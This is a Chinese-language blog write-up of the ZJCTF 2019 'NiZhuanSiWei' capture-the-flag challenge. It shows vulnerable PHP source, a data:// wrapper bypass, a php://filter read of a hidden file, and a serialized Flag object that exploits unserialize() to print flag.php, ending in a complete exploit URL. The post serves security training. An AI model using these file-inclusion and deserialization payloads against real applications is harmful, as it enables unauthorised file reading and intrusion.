[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei#

打开页面,给出了一个php文件的源码

image-20220513155938663

 <?php  
$text = $_GET["text"];		
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){  // file_get_contents()把 $text 的文件中内容读入一个字符串中。
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){		// 正则过滤 $file 参数中不能有 flag 
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php		
        $password = unserialize($password);	// php 反序列化
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

首先需要先绕过 file_get_contents($text,‘r’)===“welcome to the zjctf” ,利用 php伪协议 data://text/plain

?text=data://text/plain,welcome to the zjctf

image-20220513161654860

绕过第一个了,接着看看第二个怎么绕过

($file = $_GET['file'];)
if(preg_match("/flag/",$file)){		// 正则过滤,$file 参数中不能有 flag 
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php		
        $password = unserialize($password);	// php 反序列化
        echo $password;
    }

不能直接通过获取flag来拿到结果,不过可以用 php://filter 过滤器来进行绕过,先获取 unseless.php 的文件base64编码后的数据

image-20220513162259024

解码后拿到了一个 useless.php 中定义的类,$file 是要输入的 filename,然后再通过 file_get_contents() 读取 $file 文件的内容再输出。

# 解码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

但是还有一个,passwordfile 设置成 flag.php 之后序列化,当 p a s s w o r d 反 序 列 化 后 , 会 把 ∗ ∗ password 反序列化后,会把** passwordfile=flag.php参数给useless.php 文件**再通过 file_get_content(flag.php) 读取 flag.php 文件的内容并输出。所以需要将传入的值进行序列化一下。

image-20220513164821726

#  序列化
<?php  
class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$flag = new Flag();
$serflag = serialize($flag);
echo $serflag;
echo unserialize($serflag);
?> 
    
# 序列化结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

三种限制都已经绕过了,最终形成的payload。

# payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20220513170250485

image-20220513170307554

参考文章#

[大佬解析](

作者:knsec

出处:https://www.cnblogs.com/knsec-cnblogs/p/16582242.html

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

备注:你可以在这里自定义其他内容,支持 HTML

posted @ 2022-08-13 10:38  knsec  阅读(38)  评论(0)    收藏  举报
相关博文:
阅读排行:
· dotnetty 新的篇章- 开源
· 设计模式:简单工厂、工厂方法与抽象工厂
· 用好 JUnit 5 的高级特性:提升单测效率和质量
· 【大数据高并发核心场景实战】 - 数据持久化之冷热分离
· DotTrace系列:1. 理解四大经典的诊断类型(上)
more_horiz
keyboard_arrow_up dark_mode palette
选择主题
menu
点击右上角即可分享
微信分享提示